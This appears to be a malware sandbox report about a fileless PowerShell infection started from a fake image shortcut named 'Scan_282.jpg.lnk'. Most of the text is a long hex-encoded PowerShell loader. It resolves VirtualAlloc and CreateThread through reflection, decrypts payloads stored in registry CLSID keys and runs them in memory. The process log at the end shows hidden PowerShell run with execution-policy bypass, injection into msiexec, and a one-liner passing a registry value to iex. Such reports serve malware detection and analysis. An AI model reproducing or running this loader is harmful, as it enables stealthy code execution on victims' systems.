36453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373036433335324332343642363533323239323927297c2628247073686f6d655b3133352d3133315d2b247073686f6d655b3137322d3133385d2b277827297d66756e6374696f6e206e64397b706172616d28247271312c24796d302c2465633929202879723220273234363737413333334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303434333033383330333333313330324433303333333033333244333033383330333032443330333133303331324433313330333034323330343133303433333133323331333137443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034343330333832373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303434333033383237334232343642373433373344323832343637374133333542333333323544324232383238323833333336324432383332324233313239323932393239323933423230323436313632333733443234363737413333354232343642373433373245324532383234364237343337324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436313632333732393342323436373741333333443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343433303338333033333331333032443330333333303333324433303338333033303244333033313330333132443331333033303432333034313330343333313332333133313744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733313332333133313237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373331333233313331323733423234364237343337334437423230323437373734333633443330324532453332333533353342333032453245333233353335374332353742323032343643373733393344323832343643373733393242323437373734333635423234354635443242323436313632333735423234354632353234363136323337324534433635364536373734363835443239323532383238323833343334333332423335333432393244333233343331323932393342323032343737373433363542323435463544324332343737373433363542323436433737333935443344323437373734333635423234364337373339354432433234373737343336354232343546354432303744323033423234363737413333374332353742323437353732333033443238323437353732333032423331323932353238323832383333333833313242333233313239323932443331333433363239334232303234373636353334334432383234373636353334324232343737373433363542323437353732333035443239323532383238333833333333324432383331333733323242333133393334323932393244333233313331323933423230323437373734333635423234373537323330354432433234373737343336354232343736363533343544334432343737373433363542323437363635333435443243323437373734333635423234373537323330354433423234354632443632373836463732323437373734333635423238323437373734333635423234373537323330354432423234373737343336354232343736363533343544323932353238323832383333333133383244333633323239323932393544323037443230374432303342323436433735333432303344323032383236323032343642373433373743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343735373233303344333033423234373537323330323032443643373432303234364337353334324534433635364536373734363833423234373537323330324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436433735333432453533373536323733373437323639364536373238323437353732333032433332323932433238323832383332324233343239324233313330323932393239323037443239323927297c2628247073686f6d655b3131352d3131315d2b247073686f6d655b3138302d3134365d2b277827297d2066756e6374696f6e206f6d327b706172616d282472713129202879723220273234363936413339334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343634373233353344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343639364133393245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363936413339324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363437323335324332343732373133313239323927297c2628247073686f6d655b3134392d3134355d2b247073686f6d655b3136312d3132375d2b277827297d2066756e6374696f6e20706f387b706172616d28247271312c24796d30292028797232202732343731373533323344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343731373533323245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343732373133313239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343731373533323245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437393644333032433234373237313331323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373137353332324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3134372d3134335d2b247073686f6d655b3230312d3136375d2b277827297d66756e6374696f6e207767387b706172616d28247266332c2470673029202874673320273234373036443334334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303434333033383330333333313330324433303333333033333244333033383330333032443330333133303331324433313330333034323330343133303433333133323331333137443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034343330333832373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303434333033383237334232343646363933363344323832343730364433343542333333323544324232383238323833333336324432383332324233313239323932393239323933423230323436413730333233443234373036443334354232343646363933363245324532383234364636393336324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436413730333232393342323437303644333433443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343433303338333033333331333032443330333333303333324433303338333033303244333033313330333132443331333033303432333034313330343333313332333133313744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733313332333133313237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373331333233313331323733423234364636393336334437423230323437393645333433443330324532453332333533353342333032453245333233353335374332353742323032343644363133333344323832343644363133333242323437393645333435423234354635443242323436413730333235423234354632353234364137303332324534433635364536373734363835443239323532383238323833343334333332423335333432393244333233343331323932393342323032343739364533343542323435463544324332343739364533343542323436443631333335443344323437393645333435423234364436313333354432433234373936453334354232343546354432303744323033423234373036443334374332353742323436423637333733443238323436423637333732423331323932353238323832383333333833313242333233313239323932443331333433363239334232303234373336443337334432383234373336443337324232343739364533343542323436423637333735443239323532383238333833333333324432383331333733323242333133393334323932393244333233313331323933423230323437393645333435423234364236373337354432433234373936453334354232343733364433373544334432343739364533343542323437333644333735443243323437393645333435423234364236373337354433423234354632443632373836463732323437393645333435423238323437393645333435423234364236373337354432423234373936453334354232343733364433373544323932353238323832383333333133383244333633323239323932393544323037443230374432303342323436313732333932303344323032383236323032343646363933363743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343642363733373344333033423234364236373337323032443643373432303234363137323339324534433635364536373734363833423234364236373337324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436313732333932453533373536323733373437323639364536373238323436423637333732433332323932433238323832383332324233343239324233313330323932393239323037443239323927297c2628247073686f6d655b3137372d3137335d2b247073686f6d655b3138302d3134365d2b277827297d24677a333d6e643920277a6a6f646d7771636967656b73726e272027706f7778697471677a616564736d686e272027736d67636172787479766a647a6268716f273b66756e6374696f6e207863347b706172616d28246169342c246966342920286a6535202732343734373333333344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343734373333333245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343631363933343239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343734373333333245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436393636333432433234363136393334323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373437333333324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3135322d3134385d2b247073686f6d655b3232342d3139305d2b277827297d66756e6374696f6e20696d337b706172616d28246c6333292028726a3320273234373436453334334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343642363733363344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343734364533343245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373436453334324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364236373336324332343643363333333239323927297c2628247073686f6d655b3133362d3133325d2b247073686f6d655b3138322d3134385d2b277827297d66756e6374696f6e206d70387b706172616d2824677a332c246569322c246179392c24736d3429202879723220273234373737343336334435423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383646364433323230323735363639373237343735363136433431364336433646363334353738323732393243323837303646333832303430323835423439364537343530373437323544324335423439364537343530373437323544324335423439364537343530373437323544324335423639364537343544324335423639364537343544323932383542343936453734373037343732354432393239323932453639364537363646364236353238324433313243333032433234363536393332324332383238333233333332333833313244333133303339333933333239323932433234373336443334323933423542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238364636443332323032373532373436433444364637363635344436353644364637323739323732393243323837303646333832303430323835423439364537343530373437323544324335423632373937343635354235443544324335423535343936453734333333323544323932383542343936453734373037343732354432393239323932453639364537363646364236353238323437373734333632433234363737413333324332343635363933323239334232343737373433363344344536353737324434463632364136353633373432303533373937333734363536443245343936453734373037343732323032443431373236373735364436353645373434433639373337343230323432383234373737343336324535343646343936453734333633343238323932423234363137393339323933423542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238364636443332323032373433373236353631373436353534363837323635363136343237323932433238373036463338323034303238354234393645373435303734373235443243354235353439364537343333333235443243354234393645373435303734373235443243354234393645373435303734373235443243354235353439364537343333333235443243354234393645373435303734373235443239323835423439364537343730373437323544323932393239324536393645373636463642363532383330324333303243323437373734333632433330324333303243333032393342353337343631373237343244353336433635363537303230324437333230323832383238333233353333324233333332333633303239323932423337323927297c2628247073686f6d655b3230322d3139385d2b247073686f6d655b3230372d3137335d2b277827297d66756e6374696f6e20776c347b706172616d28247661392c246d63312c2469663629202878793020273234363236393334334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303434333033383330333333313330324433303333333033333244333033383330333032443330333133303331324433313330333034323330343133303433333133323331333137443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034343330333832373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303434333033383237334232343738364633363344323832343632363933343542333333323544324232383238323833333336324432383332324233313239323932393239323933423230323436353734333233443234363236393334354232343738364633363245324532383234373836463336324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436353734333232393342323436323639333433443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343433303338333033333331333032443330333333303333324433303338333033303244333033313330333132443331333033303432333034313330343333313332333133313744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733313332333133313237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373331333233313331323733423234373836463336334437423230323436363732333333443330324532453332333533353342333032453245333233353335374332353742323032343641363433333344323832343641363433333242323436363732333335423234354635443242323436353734333235423234354632353234363537343332324534433635364536373734363835443239323532383238323833343334333332423335333432393244333233343331323932393342323032343636373233333542323435463544324332343636373233333542323436413634333335443344323436363732333335423234364136343333354432433234363637323333354232343546354432303744323033423234363236393334374332353742323436333736333633443238323436333736333632423331323932353238323832383333333833313242333233313239323932443331333433363239334232303234363236413335334432383234363236413335324232343636373233333542323436333736333635443239323532383238333833333333324432383331333733323242333133393334323932393244333233313331323933423230323436363732333335423234363337363336354432433234363637323333354232343632364133353544334432343636373233333542323436323641333535443243323436363732333335423234363337363336354433423234354632443632373836463732323436363732333335423238323436363732333335423234363337363336354432423234363637323333354232343632364133353544323932353238323832383333333133383244333633323239323932393544323037443230374432303342323436413642333132303344323032383236323032343738364633363743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343633373633363344333033423234363337363336323032443643373432303234364136423331324534433635364536373734363833423234363337363336324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436413642333132453533373536323733373437323639364536373238323436333736333632433332323932433238323832383332324233343239324233313330323932393239323037443239323927297c2628247073686f6d655b3130372d3130335d2b247073686f6d655b3232332d3138395d2b277827297d66756e6374696f6e206e62377b706172616d2824647238292028746b35202732343737373933333344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343737373933333245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343634373233383239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343737373933333245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436463644333632433234363437323338323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373737393333324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3134332d3133395d2b247073686f6d655b3134372d3131335d2b277827297d6d70382024677a332024677a332e6c656e677468202828283639372b31393133292d353831292b31353531312920283130302d282831322b3130292b3134292966756e6374696f6e20786c377b706172616d282478633729202864763220273234363636393338334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303434333033383330333333313330324433303333333033333244333033383330333032443330333133303331324433313330333034323330343133303433333133323331333137443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034343330333832373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303434333033383237334232343637363333363344323832343636363933383542333333323544324232383238323833333336324432383332324233313239323932393239323933423230323436343635333633443234363636393338354232343637363333363245324532383234363736333336324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436343635333632393342323436363639333833443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343433303338333033333331333032443330333333303333324433303338333033303244333033313330333132443331333033303432333034313330343333313332333133313744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733313332333133313237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373331333233313331323733423234363736333336334437423230323436443639333333443330324532453332333533353342333032453245333233353335374332353742323032343644373633393344323832343644373633393242323436443639333335423234354635443242323436343635333635423234354632353234363436353336324534433635364536373734363835443239323532383238323833343334333332423335333432393244333233343331323932393342323032343644363933333542323435463544324332343644363933333542323436443736333935443344323436443639333335423234364437363339354432433234364436393333354232343546354432303744323033423234363636393338374332353742323437383641333133443238323437383641333132423331323932353238323832383333333833313242333233313239323932443331333433363239334232303234364237413333334432383234364237413333324232343644363933333542323437383641333135443239323532383238333833333333324432383331333733323242333133393334323932393244333233313331323933423230323436443639333335423234373836413331354432433234364436393333354232343642374133333544334432343644363933333542323436423741333335443243323436443639333335423234373836413331354433423234354632443632373836463732323436443639333335423238323436443639333335423234373836413331354432423234364436393333354232343642374133333544323932353238323832383333333133383244333633323239323932393544323037443230374432303342323436433738333832303344323032383236323032343637363333363743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343738364133313344333033423234373836413331323032443643373432303234364337383338324534433635364536373734363833423234373836413331324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436433738333832453533373536323733373437323639364536373238323437383641333132433332323932433238323832383332324233343239324233313330323932393239323037443239323927297c2628247073686f6d655b3134352d3134315d2b247073686f6d655b3233302d3139365d2b277827297d66756e6374696f6e20716a327b706172616d2824676e372920287a7733202732343646363333393344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343646363333393245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343637364533373239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343646363333393245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437413643333832433234363736453337323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364636333339324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3133372d3133335d2b247073686f6d655b3139362d3136325d2b277827297d66756e6374696f6e206166357b706172616d28246572392c246470342c246d66312920286a633320273234363936443333334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303434333033383330333333313330324433303333333033333244333033383330333032443330333133303331324433313330333034323330343133303433333133323331333137443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034343330333832373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303434333033383237334232343738364233313344323832343639364433333542333333323544324232383238323833333336324432383332324233313239323932393239323933423230323437363636333733443234363936443333354232343738364233313245324532383234373836423331324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437363636333732393342323436393644333333443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343433303338333033333331333032443330333333303333324433303338333033303244333033313330333132443331333033303432333034313330343333313332333133313744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733313332333133313237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373331333233313331323733423234373836423331334437423230323437333637333033443330324532453332333533353342333032453245333233353335374332353742323032343638373033353344323832343638373033353242323437333637333035423234354635443242323437363636333735423234354632353234373636363337324534433635364536373734363835443239323532383238323833343334333332423335333432393244333233343331323932393342323032343733363733303542323435463544324332343733363733303542323436383730333535443344323437333637333035423234363837303335354432433234373336373330354232343546354432303744323033423234363936443333374332353742323436323631333933443238323436323631333932423331323932353238323832383333333833313242333233313239323932443331333433363239334232303234363637323336334432383234363637323336324232343733363733303542323436323631333935443239323532383238333833333333324432383331333733323242333133393334323932393244333233313331323933423230323437333637333035423234363236313339354432433234373336373330354232343636373233363544334432343733363733303542323436363732333635443243323437333637333035423234363236313339354433423234354632443632373836463732323437333637333035423238323437333637333035423234363236313339354432423234373336373330354232343636373233363544323932353238323832383333333133383244333633323239323932393544323037443230374432303342323437303638333032303344323032383236323032343738364233313743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343632363133393344333033423234363236313339323032443643373432303234373036383330324534433635364536373734363833423234363236313339324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323437303638333032453533373536323733373437323639364536373238323436323631333932433332323932433238323832383332324233343239324233313330323932393239323037443239323927297c2628247073686f6d655b3137382d3137345d2b247073686f6d655b3133342d3130305d2b277827297d powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1728.ps1" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{030D080E-010C-0605-0D0F-13090F0B0C0C} powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{030D080E-010C-0605-0D0F-13090F0B0C0C}\ = "{030D080E-010C-0605-0D0F-13090F0B0C0C}" powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exemsiexec.exepowershell.exepid process 404 powershell.exe 404 powershell.exe 404 powershell.exe 404 powershell.exe 5060 msiexec.exe 5060 msiexec.exe 4368 powershell.exe 4368 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 404 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 404 powershell.exe Token: SeDebugPrivilege 4368 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.exepowershell.exemsiexec.exedescription pid process target process PID 2696 wrote to memory of 404 2696 cmd.exe powershell.exe PID 2696 wrote to memory of 404 2696 cmd.exe powershell.exe PID 404 wrote to memory of 5060 404 powershell.exe msiexec.exe PID 404 wrote to memory of 5060 404 powershell.exe msiexec.exe PID 5060 wrote to memory of 4368 5060 msiexec.exe powershell.exe PID 5060 wrote to memory of 4368 5060 msiexec.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Scan_282.jpg.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w h -file 1728.ps12⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:404 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe3⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5060 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='8237';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4368
-
-
-